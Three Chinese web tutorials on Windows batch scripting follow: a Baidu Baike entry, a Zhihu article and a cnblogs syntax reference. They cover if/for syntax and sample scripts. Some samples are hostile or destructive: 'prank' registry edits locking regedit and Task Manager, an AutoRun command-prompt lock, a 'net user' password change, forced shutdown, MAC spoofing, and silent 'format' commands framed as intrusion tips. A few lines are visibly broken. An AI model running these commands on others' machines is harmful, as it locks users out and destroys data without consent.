-s:w___________________________________________________________语句结构播报编辑类似于C语言,批处理也有它的语句结构。批处理的语句结构主要有选择结构(if语句)、循环结构(for语句)等。if语句if语句实现条件判断,包括字符串比较、存在判断、定义判断等。通过条件判断,if语句即可以实现选择功能。1、字符串比较if语句仅能够对两个字符(串)是否相同、先后顺序进行判断等。其命令格式为:IF [not] string1 compare-op string2 command1 [else command2]其中,比较操作符compare-op有以下几类:== - 等于EQU - 等于NEQ - 不等于LSS - 小于LEQ - 小于或等于GTR - 大于GEQ - 大于或等于选择开关/i则不区分字符串大小写;选择not项,则对判断结果进行逻辑非。字符串比较示例:@echo offset str1=abcd1233set str2=ABCD1234if %str1%==%str2% (echo 字符串相同。) else (echo 字符串不相同。)if /i %str1% LSS %str2% (echo str1^=str2)echo.set /p choice=是否显示当前时间。(y/n)if /i not %choice% EQU n echo 当前时间是:%date% %time%pause>nul对于最后一个if判断,当我们输入n或N时的效果是一样的,都不会显示时间。如果我们取消开关/i,则输入N时,依旧会显示时间。另外请注意一下几个细节:1-echo str1^=str2;2-echo.。2、存在判断存在判断的功能是判断文件或文件夹是否存在。其命令格式为:IF [NOT] EXIST filename command1 [else command2]@echo offif exist %0 echo 文件%0是存在的.if not exist %~df0 (echo 文件夹%~df0不存在.) else echo 文件夹%~df0存在.pause>nul这里注意几个地方:1-存在判断既可以判断文件也可以判断文件夹;2-%0即代表该批处理的全称(包括驱动器盘符、路径、文件名和扩展类型);3-%~df0是对%0的修正,只保留了其驱动器盘符和路径,详情请参考for /?,属高级批处理范畴;4-注意if语句的多行书写,多行书写要求command1的左括号必须和if在同一行、else必须和command1的右括号同行、command2的左括号必须与else同行、command1和command2都可以有任意多行,即command可以是命令集。3、定义判断定义判断的功能是判断变量是否存在,即是否已被定义。其命令格式为:IF [not] DEFINED variable command1 [else command2]存在判断举例:@echo offset var=111if defined var (echo var=%var%) else echo var尚未定义!set var=if defined var (echo var=%var%) else echo var尚未定义!pause>nul对比可知,"set var="可以取消变量,收回变量所占据的内存空间。for语句for语句可以实现类似于C语言里面的循环结构,当然for语句的功能要更强大一点,通过不同的开关可以实现更多的功能。for语句有多个开关,不同开关将会实现不同的功能。1、无开关无开关的for语句能够对设定的范围内进行循环,是最基本的for循环语句。其命令格式为:FOR %%variable IN (set) DO command其中,%%variable是批处理程序里面的书写格式,在DOS中书写为%variable,即只有一个百分号(%);set就是需要我们设定的循环范围,类似于C语言里面的循环变量;do后面的command就是循环所执行的命令,即循环体。无开关for语句举例:@echo offfor %%i in (a,"b c",d) do echo %%ipause>nul2、开关/L含开关/L的for语句,可以根据set里面的设置进行循环,从而实现对循环次数的直接控制。其命令格式为:FOR /L %%variable IN (start,step,end) DO command其中,start为开始计数的初始值,step为每次递增的值,end为结束值。当end小于start时,step需要设置为负数。含开关/L的for语句举例(创建5个文件夹):@echo offfor /l %%i in (1,2,10) do md %%ipause上例将新建5个文件夹,文件夹名称依次为1、3、5、7、9。可以发现,%%i的结束值并非end的值10,而是不大于end的一个数。3、开关/F含开关/F的for语句具有最强大的功能,它能够对字符串进行操作,也能够对命令的返回值进行操作,还可以访问硬盘上的ASCII码文件,比如txt文档等。其命令格式为:FOR /F ["options"] %%variable IN (set) DO command其中,set为("string"、'command'、file-set)中的一个;options是(eol=c、skip=n、delims=xxx、tokens=x,y,m-n、usebackq)中的一个或多个的组合。各选项的意义参见for /f。一般情况下,使用较多的是skip、tokens、delims三个选项。含开关/F的for语句举例:@echo offecho **No Options:for /f %%a in ("1,2,10") do echo a=%%aecho **Options tokens ^& delims:for /f "tokens=1-3 delims=," %%a in ("1,2,10") do echo a=%%a b=%%b c=%%cpause@echo offecho 本文件夹里面的文件有:for /f "skip=5 tokens=3* " %%a in ('dir') do (if not "%%a"=="" if not "%%b"=="字节" if not "%%b"=="可用字节" echo %%b)pause>nul@echo offecho 本文件夹里面的文件有:dir>c:\file.txtfor /f "skip=5 tokens=3* " %%a in (c:\file.txt) do (if not "%%a"=="" if not "%%b"=="字节" if not "%%b"=="可用字节" echo %%b)del c:\file.txtpause符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。本例中也可以改为4,不过文件名中有空格的文件,只能显示空格以前部分。同时我们也看到了,for语句的do后面的command也是可以分行的,只需要保证command的左括号和do在同一行就可以了。4、开关/D或/R含开关/D或/R的for语句是与目录或文件有关的命令,一般情况下很少使用。含开关/R的命令有时候被用于通过遍历文件夹来查找某一个文件或文件夹,故而列举此例。含开关/R的for语句举例(文件夹遍历):@echo offsetlocal enabledelayedexpansionFOR /R d: %%i IN (.) DO (set dd=%%iset "dd=!dd:~0,-1!"echo !dd!)pauseexit上例即可以罗列出D盘下的所有文件夹,其速度要比命令"tree d:"慢多了,不过其返回结果的实用性则远远超过了tree命令。一般情况下我们不推荐通过遍历文件夹来查找文件,特别是在查找某些程序(比如QQ.exe)的位置时。推荐通过reg命令查找注册表来查找QQ的路径,以保证查找效率。上例中也出现了几个新面孔,如setlocal、感叹号等。其中,感叹号其实就是变量百分号(%)的强化版。之所以要用!而不用%,是因为在for循环中,当一个变量被多次赋值时,%dd%所获取的仅仅是dd第一次被赋予的值;要想刷新dd的值,就必须首先通过命令"setlocal enabledelayedexpansion"来开启延迟变量开关,然后用!dd!来获取dd的值。for语句是批处理里面功能最强大、使用最普遍却又最难掌握的一套命令,这也是批处理菜鸟和批处理高手最明显的一个分水岭,一旦掌握了这套命令,那么你就离批处理达人不远了!代码示例播报编辑好了,先来几个实用的。清理垃圾命令代码如下:@echo offecho 正在清除系统垃圾文件,请稍等......del /f /s /q %systemdrive%\*.tmpdel /f /s /q %systemdrive%\*._mpdel /f /s /q %systemdrive%\*.logdel /f /s /q %systemdrive%\*.giddel /f /s /q %systemdrive%\*.chkdel /f /s /q %systemdrive%\*.olddel /f /s /q %systemdrive%\recycled\*.*del /f /s /q %windir%\*.bakdel /f /s /q %windir%\prefetch\*.*rd /s /q %windir%\temp & md %windir%\tempdel /f /q %userprofile%\cookies\*.*del /f /q %userprofile%\recent\*.*del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"del /f /s /q "%userprofile%\Local Settings\Temp\*.*"del /f /s /q "%userprofile%\recent\*.*"echo 清除系统垃圾文件完成!pause网络设置@echo off::判断本地连接赋值afor /f "tokens=3,4 delims== " %%i in ('ipconfig ^|findstr /r "本"') do echo %%i %%j >DNS.txtfor /f "tokens=1 delims==:" %%d in (DNS.txt) do set a=%%decho 请根据实际情况更改下面三行set slection1=set/p slection1=请输入IP地址:netsh interface ip set address name="%a%" source=static addr=%slection1% mask=255.255.255.0set slection2=set/p slection2=请输入网关地址:netsh interface ip set address name="%a%" gateway=%slection2% gwmetric=0set slection3=set/p slection3=请输入主dns地址netsh interface ip set dns name="%a%" source=static addr=%slection3% register=PRIMARYset slection4=set/p slection4=请输入备份dns地址netsh interface ip add dns name="%a%" addr=%slection4%netsh interface ip set wins name="%a%" source=static addr=nonedel DNS.txtexit 改完IP后可用这个完成本机ARP的绑定:@echo offif exist ipconfig.txt del ipconfig.txtipconfig /all >ipconfig.txtif exist phyaddr.txt del phyaddr.txtfind "Physical Address" ipconfig.txt >phyaddr.txtfor /f "skip=2 tokens=12" %%M in (phyaddr.txt) do set Mac=%%Mif exist IPAddr.txt del IPaddr.txtfind "IP Address" ipconfig.txt >IPAddr.txtfor /f "skip=2 tokens=15" %%I in (IPAddr.txt) do set IP=%%Iarp -s %IP% %Mac%del ipaddr.txtdel ipconfig.txtdel phyaddr.txtexit同时修改IP和MAC地址的小代码及制作步骤,用于带着本本到处跑又要改IP的场合!1:生成 IP配置文件。修改你的IP地址配置为某一个配置,例如配置1。修改好:IP,MASK,DNS,GATE等(主要是IP相关的,不需要修改MAC地址)。然后输入:netsh -c interface dump> c:\net1.txt这里net1.txt就是你生成的IP配置文件了!可以改为其它的文件名,比如:实验室,寝室!依次生成所有的网络配置的配置文件,我假设一共生成两个网络配置分别为net1.txt和net2.txt2:下载软件SMAC为修改MAC地址的小软件仅8K,我已经上传了。3:在C盘根目录下建立一个目录,把刚才下载的smac.exe,生成的所有的网络配置文件net1.txt,net2.txt等,等一下要建立的两个批处理文件(bat)也都放要放到这里。我假设为这个目录是:C:\cmd4:建立一个批处理文件,假设为:ToNet1.bat(可以使用记事本编辑,不过注意保存的时候要加上用加上引号的文件名才能保存为ToNet1.bat,否则就是ToNet1.bat.txt)输入如下代码:smac -modifymac 0 0050BA44D27Anetsh -f net1.txtnet1.txt就是你要设置的某一个网络的配置,0050BA44D27A这个要替换为对应这一个网络配置的MAC地址。另外0050BA44D27A前面的0不可以省略,这个表示网卡(你不会有两个或者多个网卡吧?如果你有,请注意自己先试一下看是哪一个网卡了:在这个smac程序的readme中有list功能,你可以判断一下)。同样的方法,建立ToNet2.bat,当然修改网络配置文件为net2.txt和mac地址的属性了。把这两个bat文件也放到c:\cmd目录中。5:然后你可以建立这两个bat文件的快捷方式,双击一下自动更换了!不过请注意,修改MAC地址可能需要重新启动一下网卡比较好(禁用再启用)关机shutdown -s -t 0运行这个后,立刻关机想要重启,就把-s改为-r修改注册表锁定注册表reg add"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d 00000001 /f解锁注册表reg add"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d 00000000 /fstart regedit显示隐藏文件reg add"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /vHidden /t reg_dword /d 1 /freg add"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /vHideFileExt /t reg_dword /d 0 /freg add"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /vShowSuperHidden /t reg_dword /d 1 /f锁定任务管理器REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /V DisableTaskMgr /t REG_DWORD /d 00000001 /f解锁任务管理器REG ADDstem /V DisableTaskMgr /t REG_DWORD /d 00000000 /f解释:这五个都是通过改注册表做到的。接下来搞几个用密码的。带密码的批处理@echo offmode con cols=30 lines=4set b=5:pwdtitle Passwordset /a a=%a%+1set /a b=%b%-1set /p pwd=Enter Password:if /I "%pwd%"=="Password" goto mainif /I "%a%"=="5" goto errecho Error %a% times! You have %b% times left now.goto pwd:errcolor 40mode con cols=30 lines=2title Error!clsecho.echo Error 5 times, it will exit!ping 127.1 -n 6 >nulexit:mainmode con cols=30 lines=3echo Password right!pauseclsgoto program:programmode con cols=64 lines=16:: Your program here. ::解释:把第九行的Password改成密码。锁定命令提示符@echo offecho.echo 正在建立用于锁住命令行窗口的lockcmd.bat批处理文件,请稍侯......echo.echo. >lockcmd.batecho @echo off >lockcmd.batecho echo. >>lockcmd.batecho setlocal >>lockcmd.batecho set /a times=3 >>lockcmd.batecho :checkpassword >>lockcmd.batecho set /p password=请输入密码: >>lockcmd.batecho set /a times=times-1 >>lockcmd.batecho if "%%password%%"=="密码" goto continue >>lockcmd.batecho if "%%times%%"=="0" goto exit >>lockcmd.batecho echo 输入的密码不正确,请重新输入,还有%%times%%次机会!>>lockcmd.batecho goto checkpassword >>lockcmd.batecho :exit >>lockcmd.batecho echo. >>lockcmd.batecho echo 你无权进入命令行状态! >>lockcmd.batecho exit >>lockcmd.batecho :continue >>lockcmd.batecho cls >>lockcmd.batecho title 欢迎你回到命令行窗口工作!!! >>lockcmd.batecho cd /d c:\ >>lockcmd.batecho endlocal >>lockcmd.batcopy lockcmd.bat %windir%echo 正在设置注册表,从而让命令行窗口一打开便进入锁定状态......echo Windows Registry Editor Version 5.00 >temp.regecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]>>temp.regecho "AutoRun"="lockcmd.bat" >>temp.regecho 成功锁住命令行,只有输入正确的密码才可使用!regedit /s temp.regdel /q /f temp.reg >nuldel /q /f lockcmd.bat >nulpause>nul解释:这两个把“密码”改成你要输的密码就行了。嗯,接下来是几个整人的。2H1Q声明:使用这些代码造成的后果(比如别人找你麻烦)自负。首先是个吓唬人的。--------为维护网络安全以下代码已删除-------修改电脑登录密码注意,这个要慎用!!!!!@echo offset /p t=请输入您要修改的密码:net user 计算机名 %t%echo 修改成功!在计算机名处写电脑登录时的账号比如:net user administrator %t%强制关机:@Rem 这是使用程序的强制关机,不会征求同意(5秒后关机)(rem是一个注释,这一行可用可不用)@echo off@echo 即将关机SET daoTime=5:daoset /a daoTime=daoTime-1ping -n 2 -w 500 127.1>nulclsecho 关机时间: %daoTime%秒if %daoTime%==0 (exit) else (goto dao)shut down -s -c -t 5代码就列举到这里,大家可以自己编一些哦。其它播报编辑批处理开发工具网络上流传有很多,笔者只推荐两个iBAT(2张)1.iBAT截至到2014.8.9这个工具仍在更新中,第一印象-简洁!2.BatProject+DebugBatch这其实是两个工具,不过它们的开发者是同一个人,这两个工具给我的第一印象-强悍!是用来调试错误的上上之选,不过因为它太强大了,尤其是DebugBatch采取了注入到进程当中的方法来调试,可以中途修改变量,暂停执行等,所以杀软会报毒.第三方DebugBatch纯批处理不是万能的,而系统内置第三方远远满足不了我们的需要(如果你会debug就当我没说吧),因此我们需要各种第三方来使我们的批处理变得更强大,在批处理之家有一个第三方收集帖,里面收集了许多第三方,如果有朋友需要的话可以去那里淘一淘,接下来我介绍几个第三方Tmos.exe-用鼠标操作命令行Image.exe-显示图片到命令行CAPI-批处理调用系统API,强大得不能再强大了新手上路成长任务编辑入门编辑规则本人编辑我有疑问内容质疑在线客服官方贴吧意见反馈投诉建议举报不良信息未通过词条申诉投诉侵权信息封禁查询与解封©2024 Baidu 使用百度前必读 | 百科协议 | 隐私政策 | 百度百科合作平台 | 京ICP证030173号 京公网安备110000020000

windows批处理(bat),和它的用途 - 知乎

windows批处理(bat),和它的用途 - 知乎切换模式写文章登录/注册windows批处理(bat),和它的用途冰河Windows批处理(.bat)是一种脚本编程语言,用于在Windows操作系统下自动化执行一系列命令。虽然它可能不如其他编程语言强大和灵活,但仍然有一些现实用途,包括以下几个方面:自动化任务:批处理文件可以用于执行一系列重复性的任务或命令,例如批量重命名文件、备份文件、复制或移动文件等。通过编写一个批处理脚本,可以将这些任务自动化,提高效率并减少手动操作。系统管理:批处理文件在系统管理方面非常有用。管理员可以使用它们来安装软件、配置网络设置、创建和管理用户帐户、修改注册表项等。通过批处理脚本,可以快速批量执行这些系统管理任务。数据处理:批处理脚本可以用于处理文本文件和数据。你可以使用批处理脚本来提取、筛选、转换和格式化文本数据。这对于日志文件分析、数据导入和导出以及批量处理数据非常有用。自定义工具:批处理文件可以用来创建自定义工具或实用程序。通过编写一些批处理脚本,你可以构建简单的界面,接受用户输入并执行相应的操作。这些工具可以用于简化特定任务,增加用户友好性,而无需使用更复杂的编程语言。尽管批处理语言功能相对较弱,但对于一些简单的自动化任务和系统管理操作,它们仍然是有用的工具。如果你只需要完成一些基本的、非常特定的任务,批处理文件是一个简单而有效的选择。下面是一个简单的示例,展示了如何编写和运行一个Windows批处理文件(.bat):打开文本编辑器(例如Notepad)并创建一个新文件。输入以下命令,并将其保存为.bat文件,例如myscript.bat。@echo off

echo Hello, World!

pause双击运行该批处理文件(或通过命令提示符运行它)。该批处理文件的作用是输出"Hello, World!"并在执行完毕后等待用户按下任意键才会关闭窗口。你可以根据需要编写自己的批处理脚本。以下是一些常用的批处理命令和语法:@echo off:该命令关闭批处理文件中命令的显示,使输出结果更简洁。echo :该命令将文本输出到屏幕上。pause:该命令暂停批处理文件的执行,直到用户按下任意键。set =:该命令用于设置环境变量的值。if语句:可以用于条件判断和执行不同的命令或操作。for循环:可以用于迭代处理文件列表或执行命令多次。你可以通过组合和使用这些命令,编写更复杂的批处理脚本来完成你的任务。注意:批处理脚本的语法和功能相对有限。如果需要更高级的功能或更复杂的任务,可能需要考虑使用其他编程语言,如Python或PowerShell。当涉及到学习和使用Windows批处理脚本时,以下是一些教程和资源,可以帮助你入门和深入了解该主题:Microsoft官方文档:Microsoft官方提供了有关Windows批处理脚本的文档,包括语法、命令和示例。你可以在Microsoft的官方网站上查找有关Windows批处理的文档和教程。SS64网站:SS64是一个在线资源,提供了广泛的Windows命令行参考,包括Windows批处理脚本的命令和语法。他们的网站提供了有关每个命令的详细信息以及示例,对于学习和使用批处理非常有用。链接:https://ss64.com/Batch File Tutorial(批处理教程):Batch File Tutorial是一个针对批处理脚本编程的在线教程。它提供了从基础知识到高级技巧的批处理教程,包括语法、命令、变量、条件语句、循环等。链接:https://www.tutorialspoint.com/batch_script/index.htmStack Overflow:Stack Overflow是一个广受欢迎的编程问答社区,你可以在上面找到有关Windows批处理脚本的问题和答案。在搜索时,你可以使用相关的标签,如"batch-file"或"windows",以便找到与你的问题相关的帖子。链接:https://stackoverflow.com/书籍:有一些书籍专门介绍Windows批处理脚本编程,这些书籍可以提供更全面和深入的学习体验。一本经典的书籍是《Windows Batch Scripting》(作者为 John Albert)。你可以从在线书店或图书馆获取这些资源。通过阅读这些教程和资源,你可以了解Windows批处理脚本的基本语法、常用命令和一些编程技巧。从简单的脚本开始,逐渐提升你的技能,编写更复杂和实用的批处理脚本来满足你的需求。发布于 2023-07-04 21:30・IP 属地美国Windows 10Microsoft Windows批处理​赞同 4​​添加评论​分享​喜欢​收藏​申请

Windows 批处理(bat)语法大全 - 赵青青 - 博客园

Windows 批处理(bat)语法大全 - 赵青青 - 博客园

会员

周边

新闻

博问

AI培训

云市场

所有博客

当前博客

我的博客

我的园子

账号设置

简洁模式 ...

退出登录

注册

登录

Qing's Blog

管理

Windows 批处理(bat)语法大全

本文是学习bat整理的笔记,由于内容较多,建议结合右侧文章大纲查看。

%~dp0[获取当前路径]

%~dp0 “d”为Drive的缩写,即为驱动器,磁盘、“p”为Path缩写,即为路径,目录

cd %~dp0 :进入批处理所在目录

cd %~dp0bin\ :进入批处理所在目录的bin目录

示例

这个示例在win10 x64测试正常

::作用:以管理员身份安装Apache

d:

cd %~dp0bin\

httpd.exe -k install -n "Apache24"

运行结果

以管理员身份运行 示例.bat ,执行结果如下:

C:\Windows\system32>d:

D:\>cd D:\Server\Apache24\bin\

D:\Server\Apache24\bin>httpd.exe -k install -n "Apache24"

我的常用命令

%cd%[执行的路径]

当前执行的路径,并非目标文件的路径

taskkill /f /im notepad.exe [终止进程]

taskkill /?打开帮助

cmd窗口中文乱码

在CMD窗口右键/默认值,打开属性选择 “默认代码页为简体中文GBK”,

获取命令帮助 xxx /?

遇到记不清楚的命令,但记得名字,就可以键入 命令名 空格 /?就会有详细的该命令的帮助了,比如:ping /?     cd /?

查看内置命令的帮助信息

ver /?

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他常用的命令

type /?

find /?

findstr /?

copy /?

一、基础语法

1.批处理文件是一个“.bat”结尾的文本文件,这个文件的每一行都是一条DOS命令。可以使用任何文本文件编辑工具创建和修改。

2.批处理是一种简单的程序,可以用 if 和 goto 来控制流程,也可以使用 for 循环。

3.批处理的编程能力远不如C语言等编程语言,也十分不规范。

4.每个编写好的批处理文件都相当于一个DOS的外部命令,把它所在的目录放到DOS搜索路径(path)中,即可在任意位置运行。

5.C:\AUTOEXEC.BAT 是每次系统启动时都会自动运行的,可以将每次启动时都要运行的命令放入该文件中。

6.大小写不敏感(命令符忽略大小写)

7.批处理的文件扩展名为 .bat 或 .cmd。

8.在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe来运行该文件。

 

二、参数

1) 系统参数

%SystemRoot% === C:\WINDOWS (%windir% 同样)

%ProgramFiles% === C:\Program Files

%USERPROFILE% === C:\Documents and Settings\Administrator (子目录有“桌面”,“开始菜单”,“收藏夹”等)

%APPDATA% === C:\Documents and Settings\Administrator\Application Data

%TEMP% === C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp (%TEM% 同样)

%APPDATA% === C:\Documents and Settings\Administrator\Application Data

%OS% === Windows_NT (系统)

%Path% === %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem (原本的设置)

%HOMEDRIVE% === C: (系统盘)

%HOMEPATH% === \Documents and Settings\Administrator

:: 枚举当前的环境变量

setlocal enabledelayedexpansion

FOR /F "usebackq delims==" %%i IN (`set`) DO @echo %%i !%%i!

 

2) 传递参数给批处理文件

%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。

变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用 %1 到 %9 顺序表示。

Sample:

call test2.bat "hello" "haha" (执行同目录下的“test2.bat”文件,并输入两个参数)

在“test2.bat”文件里写:

echo %1 (打印: "hello")

echo %2 (打印: "haha")

echo %0 (打印: test2.bat)

echo %19 (打印: "hello"9)

 

三、批处理基本命令

0. help 命令

/? 命令

语法: 命令 /?

可显示此命令的帮助信息

Sample: type /? >>tmp.txt (把 type 命令的帮助信息写入到tmp.txt文件里)

Sample: help type (显示跟“type /?”一样)

 

1.Echo 命令

语法: echo [{on|off}] [message]

ECHO [ON | OFF] 打开回显或关闭回显功能。

ECHO 显示当前回显设置。

ECHO [message] 显示信息。

echo off 表示在此语句后所有运行的命令都不显示命令行本身;默认是on,on时会显示如: C:\文件夹路径>命令行。

在实际应用中我们会把这条命令和重定向符号( 也称为管道符号,一般用 > >> ^ )结合来实现输入一些命令到特定格式的文件中。

Sample: echo off

Sample: echo hello world (显示出“hello world”)

Sample: echo Windows Registry Editor Version 5.00 > c:\setupreg.reg (此前还没有 setupreg.reg 这个文件)

Sample: echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg (追加内容进 setupreg.reg 这个文件)

 

2.@ 命令

表示不显示@后面的命令,(在入侵过程中自然不能让对方看到你使用的命令啦)

@ 与 echo off 相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。

Sample: @echo off (此语句常用于开头,表示不显示所有的命令行信息,包括此句)

Sample: @echo please wait a minite...

Sample: @format X: /q/u/autoset

(format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

 

3.Goto 命令

语法:goto label (label是参数,指定所要转向的批处理程序中的行。)

指定跳转到标签行,找到标签行后,程序将处理从下一行开始的命令。

label标签的名字可以随便起,但是最好是有意义的,字母前必须加个冒号“:”来表示这个字母是标签。

goto命令就是根据这个冒号来寻找下一步跳到到那里。经常与 if 配合使用,根据不同的条件来执行不同的命令组。

例题见“5.Pause 命令”

 

4.Rem 命令

语法:Rem Message...

(小技巧:用::代替rem)

注释命令,在C语言中相当与/*...*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和自己日后修改。

Sample:@Rem Here is the description.

 

5.Pause 命令

会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续

Sample:

@echo off

:begin

copy a:*.* d:\back

echo Please put a new disk into driver A

pause

goto begin

在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。

显示的信息提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键再次复制。

 

6.Call 命令

语法: call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

参数: [Drive:][Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

调用另一个批处理程序,并且不终止父批处理程序。

如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令。

call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。

Sample:call="%cd%\test2.bat" haha kkk aaa (调用指定目录下的 test2.bat,且输入3个参数给他)

Sample:call test2.bat arg1 arg2 (调用同目录下的 test2.bat,且输入2个参数给他)

注:可以调用自身(死循环、递归)

7.start 命令

调用外部程序,所有的 DOS命令 和 命令行程序 都可以由 start命令 来调用。

入侵常用参数:

MIN 开始时窗口最小化

SEPARATE 在分开的空间内开始 16 位 Windows 程序

HIGH 在 HIGH 优先级类别开始应用程序

REALTIME 在 REALTIME 优先级类别开始应用程序

WAIT 启动应用程序并等候它结束

parameters 这些为传送到命令/程序的参数

Sample:start /MIN test2.bat arg1 arg2 (调用同目录下的 test2.bat,且输入2个参数给他,且本窗口最小化)

Sample:e:\"program files"\极品列车时刻表\jpskb.exe (文件路径名有空格时)

8.If 命令

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:

1) IF

语法: if [not] "参数" == "字符串" 待执行的命令

参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)

Sample: if "%1" == "a" format a:

Sample: if {%1} == {} goto noparms

2) if exist

语法: if [not] exist [路径\]文件名 待执行的命令

如果有指定的文件,则条件成立,运行命令,否则运行下一句。

Sample: if exist config.sys edit config.sys (表示如果存在这文件,则编辑它,用很难看的系统编辑器)

Sample: if exist config.sys type config.sys (表示如果存在这文件,则显示它的内容)

3) if errorlevel number

语法: if [not] errorlevel <数字> 待执行的命令

如果程序返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。(返回值必须按照从大到小的顺序排列)

Sample:

@echo off

XCOPY F:\test.bat D:\

IF ERRORLEVEL 1 (ECHO 文件拷贝失败

) Else IF ERRORLEVEL 0 ECHO 成功拷贝文件

pause

很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),称为错误码errorlevel或称返回码。

常见的返回码为0、1。通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令。

4) else

语法: if 条件 (成立时执行的命令) else (不成立时执行的命令)

如果是多个条件,建议适当使用括号把各条件包起来,以免出错。

Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) else (echo comment3 )

注:如果 else 的语句需要换行,if 执行的行尾需用“^”连接,并且 if 执行的动作需用(括起来),否则报错

Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) ^

else (echo comment3 )

5) 比较运算符:

EQU - 等于 (一般使用“==”)

NEQ - 不等于 (没有 “!=”,改用“ if not 1==1 ”的写法)

LSS - 小于

LEQ - 小于或等于

GTR - 大于

GEQ - 大于或等于

 

9.choice 命令

choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的 errorlevel,

然后配合 if errorlevel 选择运行不同的命令。

注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。

choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。

使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……

Sample: choice /c:dme defrag,mem,end

将显示: defrag,mem,end[D,M,E]?

Sample:

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag (应先判断数值最高的错误码)

if errorlevel 2 goto mem

if errotlevel 1 goto end

10.for 命令

for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。

1) for {%variable | %%variable} in (set) do command [command-parameters]

%variable 指定一个单一字母可替换的参数。变量名称是区分大小写的,所以 %i 不同于 %I

在批处理文件中使用 FOR 命令时,指定变量建议用 %%variable而不要用 %variable。

(set) 指定一个或一组文件。可以使用通配符。

command 指定对每个文件执行的命令。

command-parameters 为特定命令指定参数或命令行开关。

2) 如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:

a.FOR /D %variable IN (set) DO command [command-parameters]

如果集里面包含通配符,则指定与目录名匹配,而不与文件名匹配。

b.FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。

如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。

c.FOR /L %variable IN (start,step,end) DO command [command-parameters]

该集表示以增量形式从开始到结束的一个数字序列。

如:(1,1,5) 将产生序列 1 2 3 4 5; 而(5,-1,1) 将产生序列 (5 4 3 2 1)。

d.有或者没有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

参数"options"为:

eol=c - 指一个行注释字符的结尾(就一个,如“;”)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。

m-n格式为一个范围。通过 nth 符号指定 mth。

如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。

usebackq - 指定新语法已在下类情况中使用:

在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset中使用双引号扩起文件名称。

3) Sample:

1. 如下命令行会显示当前目录下所有以bat或者txt为扩展名的文件名。

for %%c in (*.bat *.txt) do (echo %%c)

a. 如下命令行会显示当前目录下所有包含有 e 或者 i 的目录名。

for /D %%a in (*e* *i*) do echo %%a

b. 如下命令行会显示 E盘test目录 下所有以bat或者txt为扩展名的文件名。

for /R E:\test %%b in (*.txt *.bat) do echo %%b

for /r %%c in (*) do (echo %%c) :: 遍历当前目录下所有文件

c. 如下命令行将产生序列 1 2 3 4 5

for /L %%c in (1,1,5) do echo %%c

d. 以下两句,显示当前的年月日和时间

For /f "tokens=1-3 delims=-/. " %%j In ('Date /T') do echo %%j年%%k月%%l日

For /f "tokens=1,2 delims=: " %%j In ('TIME /T') do echo %%j时%%k分

e. 把记事本中的内容每一行前面去掉8个字符

setlocal enabledelayedexpansion

for /f %%i in (zhidian.txt) do (

set atmp=%%i

set atmp=!atmp:~8!

if {!atmp!}=={} ( echo.) else echo !atmp!

)

:: 读取记事本里的内容(使用 delims 是为了把一行显示全,否则会以空格为分隔符)

for /f "delims=" %%a in (zhidian.txt) do echo.%%a

4) continue 和 break

